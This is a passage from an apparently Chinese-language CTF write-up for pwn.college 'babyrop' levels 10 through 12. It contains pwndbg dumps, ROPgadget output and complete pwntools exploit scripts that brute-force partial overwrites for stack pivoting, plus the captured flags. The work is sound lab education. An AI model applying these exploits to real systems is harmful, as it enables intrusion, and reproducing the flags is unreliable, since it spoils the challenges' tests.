07:0038│     0x7ffe804c45c0 —▸ 0x7ffe804c4600 —▸ 0x77b50aae8000 (_rtld_global) —▸ 0x77b50aae92e0 —▸ 0x58bfb2ecc000 ◂— ...
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x58bfb2ecdaf6 challenge+703
   1   0x58bfb2ecdb9c main+165
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; x/2i 0x58bfb2ecd313
   0x58bfb2ecd313 &amp;lt;__do_global_dtors_aux+51&amp;gt;: pop    rbp
   0x58bfb2ecd314 &amp;lt;__do_global_dtors_aux+52&amp;gt;: ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;嗯，看来猜想没问题，那么盲猜页地址加覆盖低三 nibbles 就可以调用我们的 gadgets 了。&lt;/p&gt;
&lt;p&gt;知道了怎么调用 gadgets，还需要思考整体攻击思路。我们有一个已泄漏的栈地址，把这个地址减八就是保存 &lt;code&gt;sub_2760&lt;/code&gt; 函数的地址的地址了，我们可以通过栈迁移把 &lt;code&gt;rsp&lt;/code&gt; 设置为泄漏的地址减十六，这样 &lt;code&gt;ret&lt;/code&gt; 就执行 &lt;code&gt;sub_2760&lt;/code&gt; 了。&lt;/p&gt;
&lt;p&gt;我本想这样做，勿喷……：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = padding_to_ret
payload += flat(
    pop_rbp_ret_fixed_offset + random.choice(pop_rbp_ret_possible_bytes),
    pop_rbp_ret,
    leaked_addr,
    leave_ret_fixed_offset + random.choice(leave_ret_possible_bytes),
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来发现低 3 nibbles 覆盖了后 &lt;code&gt;pop_rbp_ret&lt;/code&gt; 什么的会接着覆盖别的，所以这么做行不通。后来我意识到 &lt;code&gt;rbp&lt;/code&gt; 在 &lt;code&gt;rip&lt;/code&gt; 之前，提前设置好它不就完了？&lt;/p&gt;
&lt;p&gt;需要注意的是 &lt;code&gt;leave ; ret&lt;/code&gt; 到底要 &lt;code&gt;pop&lt;/code&gt; 什么以及 &lt;code&gt;ret&lt;/code&gt; 到哪里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/10gx 0x7ffd39e82968-0x10
0x7ffd39e82958: 0x00000001bee9a191 0x00007873bf78b000
0x7ffd39e82968: 0x4141414141414141 0x4141414141414141
0x7ffd39e82978: 0x4141414141414141 0x4141414141414141
0x7ffd39e82988: 0x4141414141414141 0x4141414141414141
0x7ffd39e82998: 0x4141414141414141 0x4141414141414141
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    p8,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level10.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+703
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(leaked_addr):
    rop = ROP(elf)

    padding_to_rbp = b&quot;&quot;.ljust(0x78, b&quot;A&quot;)

    leave_ret = rop.leave.address

    leave_ret_fixed_low_byte = p8(leave_ret &amp;amp; 0xFF)
    leave_ret_fixed_high_nibble = (leave_ret &amp;gt;&amp;gt; 0x8) &amp;amp; ~(1 &amp;lt;&amp;lt; 4)
    leave_ret_possible_high_bytes = [
        p8(leave_ret_fixed_high_nibble + i) for i in range(0x00, 0x100, 0x10)
    ]

    payload = padding_to_rbp
    payload += flat(
        leaked_addr - 0x10,
        leave_ret_fixed_low_byte + random.choice(leave_ret_possible_high_bytes),
    )

    return payload


def leak(target):
    target.recvuntil(b&quot;located at: &quot;)

    return int(target.recv(0xE), 16)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        try:
            target = launch(debug=False)
            payload = construct_payload(leak(target))

            if attack(target, payload):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{g4EQhfj4W4pI_g9tDdWlqPAdtK2.0VO1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a partial overwrite to call the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-100&quot;&gt;Level 10.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    p8,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level10.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(leaked_addr):
    rop = ROP(elf)

    padding_to_rbp = b&quot;&quot;.ljust(0x78, b&quot;A&quot;)

    leave_ret = rop.leave.address

    leave_ret_fixed_low_byte = p8(leave_ret &amp;amp; 0xFF)
    leave_ret_fixed_high_nibble = (leave_ret &amp;gt;&amp;gt; 0x8) &amp;amp; ~(1 &amp;lt;&amp;lt; 4)
    leave_ret_possible_high_bytes = [
        p8(leave_ret_fixed_high_nibble + i) for i in range(0x00, 0x100, 0x10)
    ]

    payload = padding_to_rbp
    payload += flat(
        leaked_addr - 0x10,
        leave_ret_fixed_low_byte + random.choice(leave_ret_possible_high_bytes),
    )

    return payload


def leak(target):
    target.recvuntil(b&quot;located at: &quot;)

    return int(target.recv(0xE), 16)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        try:
            target = launch(debug=False)
            payload = construct_payload(leak(target))

            if attack(target, payload):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{kq62r2gqRuS8CCZ5IsBJ4-OK_E-.0FM2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 11.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a partial overwrite to call the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;一眼题目结构和上题类似？好像没有区别吧……&lt;/p&gt;
&lt;p&gt;看看，好的思路和 exp 是可以拿来反复秒题的 LMAO&lt;/p&gt;
&lt;p&gt;唯有一点我不太懂，你这是何必呢？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9rjp4q6h43.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    p8,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level11.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(leaked_addr):
    rop = ROP(elf)

    padding_to_rbp = b&quot;&quot;.ljust(0x88, b&quot;A&quot;)

    leave_ret = rop.leave.address

    leave_ret_fixed_low_byte = p8(leave_ret &amp;amp; 0xFF)
    leave_ret_fixed_high_nibble = (leave_ret &amp;gt;&amp;gt; 0x8) &amp;amp; ~(1 &amp;lt;&amp;lt; 4)
    leave_ret_possible_high_bytes = [
        p8(leave_ret_fixed_high_nibble + i) for i in range(0x00, 0x100, 0x10)
    ]

    payload = padding_to_rbp
    payload += flat(
        leaked_addr - 0x10,
        leave_ret_fixed_low_byte + random.choice(leave_ret_possible_high_bytes),
    )

    return payload


def leak(target):
    target.recvuntil(b&quot;located at: &quot;)

    return int(target.recv(0xE), 16)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        try:
            target = launch(debug=False)
            payload = construct_payload(leak(target))

            if attack(target, payload):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{ogFd_c22L6ok_8m23oykWyxLfn9.0VM2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 11.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a partial overwrite to call the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-100&quot;&gt;Level 10&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    p8,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level11.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(leaked_addr):
    rop = ROP(elf)

    padding_to_rbp = b&quot;&quot;.ljust(0x38, b&quot;A&quot;)

    leave_ret = rop.leave.address

    leave_ret_fixed_low_byte = p8(leave_ret &amp;amp; 0xFF)
    leave_ret_fixed_high_nibble = (leave_ret &amp;gt;&amp;gt; 0x8) &amp;amp; ~(1 &amp;lt;&amp;lt; 4)
    leave_ret_possible_high_bytes = [
        p8(leave_ret_fixed_high_nibble + i) for i in range(0x00, 0x100, 0x10)
    ]

    payload = padding_to_rbp
    payload += flat(
        leaked_addr - 0x10,
        leave_ret_fixed_low_byte + random.choice(leave_ret_possible_high_bytes),
    )

    return payload


def leak(target):
    target.recvuntil(b&quot;located at: &quot;)

    return int(target.recv(0xE), 16)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        try:
            target = launch(debug=False)
            payload = construct_payload(leak(target))

            if attack(target, payload):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{oSzRHWf3oNfOmzKglfN7pBOGmyY.0lM2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 12.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Creatively apply stack pivoting to call the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;~&lt;em&gt;根据 Description，我们可以推测出 CuB3y0nd 是一位非常有 Creativity 的 Hacker，直接复用 &lt;a href=&quot;#level-10&quot;&gt;Level 10&lt;/a&gt; 的 exp 秒了 &lt;a href=&quot;#level-11&quot;&gt;Level 11&lt;/a&gt; 和 &lt;a href=&quot;#level-12&quot;&gt;Level 12&lt;/a&gt;。每道题修改 exp 不超过 4 bytes&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;写完一看 WTF! 这次 exp 跑了那么久没跑通……BRO MAKES ME SO MAD……~&lt;em&gt;你一定没看见上面那句话吧，你肯定看不见……&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;让我看看到底是怎么个事：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/Projects/pwn.college/ ROPgadget --binary babyrop_level12.0 --re &quot;leave&quot;
Gadgets information
============================================================
0x00000000000022b2 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000000022b4 : add byte ptr [rax], al ; leave ; ret
0x000000000000171e : leave ; ret
0x00000000000022b1 : mov eax, 0 ; leave ; ret
0x000000000000178b : nop ; leave ; ret

Unique gadgets found: 5
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x00005978a812a2b7 in main ()
------- tip of the day (disable with set show-tips off) -------
Use the spray command to spray memory with cyclic pattern or specified value
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0
 RBX  0x7ffe6ec57aa8 —▸ 0x7ffe6ec58633 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level12.0&apos;
 RCX  0x7e9cf1d1b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0
 RDI  0x7e9cf1df8710 ◂— 0
 RSI  0x7e9cf1df7643 (_IO_2_1_stdout_+131) ◂— 0xdf8710000000000a /* &apos;\n&apos; */
 R8   0x78
 R9   0xfffffff2
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7e9cf25ef000 (_rtld_global) —▸ 0x7e9cf25f02e0 —▸ 0x5978a8128000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffe6ec57a20 —▸ 0x7ffe6ec57a80 ◂— 0
 RSP  0x7ffe6ec57988 —▸ 0x7e9cf1c34e08 ◂— mov edi, eax
 RIP  0x5978a812a2b7 (main+912) ◂— ret
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x5978a812a2b7 &amp;lt;main+912&amp;gt;    ret                                &amp;lt;0x7e9cf1c34e08&amp;gt;
    ↓
   0x7e9cf1c34e08               mov    edi, eax     EDI =&amp;gt; 0
   0x7e9cf1c34e0a               call   exit                        &amp;lt;exit&amp;gt;

   0x7e9cf1c34e0f               call   0x7e9cf1c9ffa0              &amp;lt;0x7e9cf1c9ffa0&amp;gt;

   0x7e9cf1c34e14               lock sub dword ptr [rip + 0x1c12b4], 1
   0x7e9cf1c34e1c               je     0x7e9cf1c34e38              &amp;lt;0x7e9cf1c34e38&amp;gt;

   0x7e9cf1c34e1e               mov    edx, 0x3c                   EDX =&amp;gt; 0x3c
   0x7e9cf1c34e23               nop    word ptr cs:[rax + rax]
   0x7e9cf1c34e2e               nop
   0x7e9cf1c34e30               xor    edi, edi                    EDI =&amp;gt; 0
   0x7e9cf1c34e32               mov    eax, edx
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe6ec57988 —▸ 0x7e9cf1c34e08 ◂— mov edi, eax
01:0008│-090 0x7ffe6ec57990 —▸ 0x7ffe6ec579d0 —▸ 0x7e9cf25ef000 (_rtld_global) —▸ 0x7e9cf25f02e0 —▸ 0x5978a8128000 ◂— ...
02:0010│-088 0x7ffe6ec57998 —▸ 0x7ffe6ec57aa8 —▸ 0x7ffe6ec58633 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level12.0&apos;
03:0018│-080 0x7ffe6ec579a0 ◂— 0x1a8128040
04:0020│-078 0x7ffe6ec579a8 —▸ 0x5978a8129f27 (main) ◂— endbr64
05:0028│-070 0x7ffe6ec579b0 —▸ 0x7ffe6ec57aa8 —▸ 0x7ffe6ec58633 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level12.0&apos;
06:0030│-068 0x7ffe6ec579b8 ◂— 0xedc16b49efc02286
07:0038│-060 0x7ffe6ec579c0 ◂— 1
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x5978a812a2b7 main+912
   1   0x7e9cf1c34e08
   2   0x7e9cf1c34ecc __libc_start_main+140
   3   0x5978a812926e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; vmmap 0x7e9cf1c34e08
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x7e9cf1c0f000     0x7e9cf1c33000 r--p    24000      0 /usr/lib/libc.so.6
►   0x7e9cf1c33000     0x7e9cf1da4000 r-xp   171000  24000 /usr/lib/libc.so.6 +0x1e08
    0x7e9cf1da4000     0x7e9cf1df2000 r--p    4e000 195000 /usr/lib/libc.so.6
pwndbg&amp;gt; x/2i 0x7e9cf1c3471e
   0x7e9cf1c3471e: mov    eax,DWORD PTR [rbp-0x38]
   0x7e9cf1c34721: sub    rax,QWORD PTR fs:0x28
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;难怪打不通，原来是因为这个 Level 没有 &lt;code&gt;challenge&lt;/code&gt; 函数了，这个 Level 只有一个 &lt;code&gt;main&lt;/code&gt; 函数，所以会返回到 &lt;code&gt;libc&lt;/code&gt; 中。而之前有 &lt;code&gt;challenge&lt;/code&gt; 函数的时候会返回到 &lt;code&gt;main&lt;/code&gt;，所以我们才可以用 binary 的 &lt;code&gt;gadgets&lt;/code&gt;，但这次返回到 &lt;code&gt;libc&lt;/code&gt; 了自然就不能用 binary 的 gadgets 了，必须找 &lt;code&gt;libc&lt;/code&gt; 中可用的 gadgets。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/Projects/pwn.college/ ROPgadget --binary /usr/lib/libc.so.6 --re &quot;leave&quot; --depth=3
Gadgets information
============================================================
  &amp;lt;snip&amp;gt;
0x0000000000026042 : leave ; jmp rax
0x0000000000188253 : leave ; jmp rcx
0x00000000000fe0c8 : leave ; notrack jmp rcx
0x000000000002556a : leave ; ret
0x00000000000ea14b : leave ; retf
0x000000000003bcee : movq mm0, mm2 ; leave ; ret
0x0000000000040f4e : pop rax ; leave ; ret
  &amp;lt;snip&amp;gt;

Unique gadgets found: 190
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x5978a8128000     0x5978a8129000 r--p     1000      0 /home/cub3y0nd/Projects/pwn.college/babyrop_level12.0
    0x5978a8129000     0x5978a812b000 r-xp     2000   1000 /home/cub3y0nd/Projects/pwn.college/babyrop_level12.0
    0x5978a812b000     0x5978a812c000 r--p     1000   3000 /home/cub3y0nd/Projects/pwn.college/babyrop_level12.0
    0x5978a812c000     0x5978a812d000 r--p     1000   3000 /home/cub3y0nd/Projects/pwn.college/babyrop_level12.0
    0x5978a812d000     0x5978a812e000 rw-p     1000   4000 /home/cub3y0nd/Projects/pwn.college/babyrop_level12.0
    0x7e9cf1c0f000     0x7e9cf1c33000 r--p    24000      0 /usr/lib/libc.so.6
    0x7e9cf1c33000     0x7e9cf1da4000 r-xp   171000  24000 /usr/lib/libc.so.6
    0x7e9cf1da4000     0x7e9cf1df2000 r--p    4e000 195000 /usr/lib/libc.so.6
    0x7e9cf1df2000     0x7e9cf1df6000 r--p     4000 1e3000 /usr/lib/libc.so.6
    0x7e9cf1df6000     0x7e9cf1df8000 rw-p     2000 1e7000 /usr/lib/libc.so.6
    0x7e9cf1df8000     0x7e9cf1e00000 rw-p     8000      0 [anon_7e9cf1df8]
    0x7e9cf1e00000     0x7e9cf1e07000 r--p     7000      0 /usr/lib/libcapstone.so.5
    0x7e9cf1e07000     0x7e9cf1edd000 r-xp    d6000   7000 /usr/lib/libcapstone.so.5
    0x7e9cf1edd000     0x7e9cf23b3000 r--p   4d6000  dd000 /usr/lib/libcapstone.so.5
    0x7e9cf23b3000     0x7e9cf24f5000 r--p   142000 5b3000 /usr/lib/libcapstone.so.5

    0x7e9cf24f5000     0x7e9cf24f6000 rw-p     1000 6f5000 /usr/lib/libcapstone.so.5
    0x7e9cf2585000     0x7e9cf258a000 rw-p     5000      0 [anon_7e9cf2585]
    0x7e9cf25b2000     0x7e9cf25b3000 r-xp     1000      0 [anon_7e9cf25b2]
    0x7e9cf25b3000     0x7e9cf25b7000 r--p     4000      0 [vvar]
    0x7e9cf25b7000     0x7e9cf25b9000 r-xp     2000      0 [vdso]
    0x7e9cf25b9000     0x7e9cf25ba000 r--p     1000      0 /usr/lib/ld-linux-x86-64.so.2
    0x7e9cf25ba000     0x7e9cf25e3000 r-xp    29000   1000 /usr/lib/ld-linux-x86-64.so.2
    0x7e9cf25e3000     0x7e9cf25ed000 r--p     a000  2a000 /usr/lib/ld-linux-x86-64.so.2
    0x7e9cf25ed000     0x7e9cf25ef000 r--p     2000  34000 /usr/lib/ld-linux-x86-64.so.2
    0x7e9cf25ef000     0x7e9cf25f1000 rw-p     2000  36000 /usr/lib/ld-linux-x86-64.so.2
    0x7ffe6ec38000     0x7ffe6ec59000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
pwndbg&amp;gt; x/2i 0x7e9cf1c0f000+0x000000000002556a
   0x7e9cf1c3456a &amp;lt;warn+185&amp;gt;: leave
   0x7e9cf1c3456b &amp;lt;warn+186&amp;gt;: ret
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;嗯……理论上我们爆破 5 nibbles 必定可以成功，但实际上我们很幸运，在默认返回地址附近存在可用的 gadgets 来实现栈迁移，所以最终我们只需爆破 3 nibbles 就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    context,
    flat,
    gdb,
    log,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level12.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *main+912
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def random_nibbles():
    return random.randint(0x0000, 0xFFFF).to_bytes(2, &quot;little&quot;)


def leak(target):
    target.recvuntil(b&quot;located at: &quot;)

    return int(target.recv(0xE), 16)


def construct_payload(leaked_addr):
    padding_to_rbp = b&quot;&quot;.ljust(0x68, b&quot;A&quot;)

    payload = padding_to_rbp
    payload += flat(
        leaked_addr - 0x10,
        random_nibbles(),
    )

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        target = None

        try:
            target = launch(debug=False)
            payload = construct_payload(leak(target))

            if attack(target, payload):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)
        finally:
            if target is not None:
                target.close()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Yq8SiIRAxHtJeQWDahvT9Q5y0pE.01M2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 12.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Creatively apply stack pivoting to call the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-120&quot;&gt;Level 12.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    context,
    flat,
    gdb,
    log,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level12.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def random_nibbles():
    return random.randint(0x0000, 0xFFFF).to_bytes(2, &quot;little&quot;)


def leak(target):
    target.recvuntil(b&quot;located at: &quot;)

    return int(target.recv(0xE), 16)


def construct_payload(leaked_addr):
    padding_to_rbp = b&quot;&quot;.ljust(0x58, b&quot;A&quot;)

    payload = padding_to_rbp
    payload += flat(
        leaked_addr - 0x10,
        random_nibbles(),
    )

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        target = None

        try:
            target = launch(debug=False)
            payload = construct_payload(leak(target))

            if attack(target, payload):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)
        finally:
            if target is not None:
                target.close()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
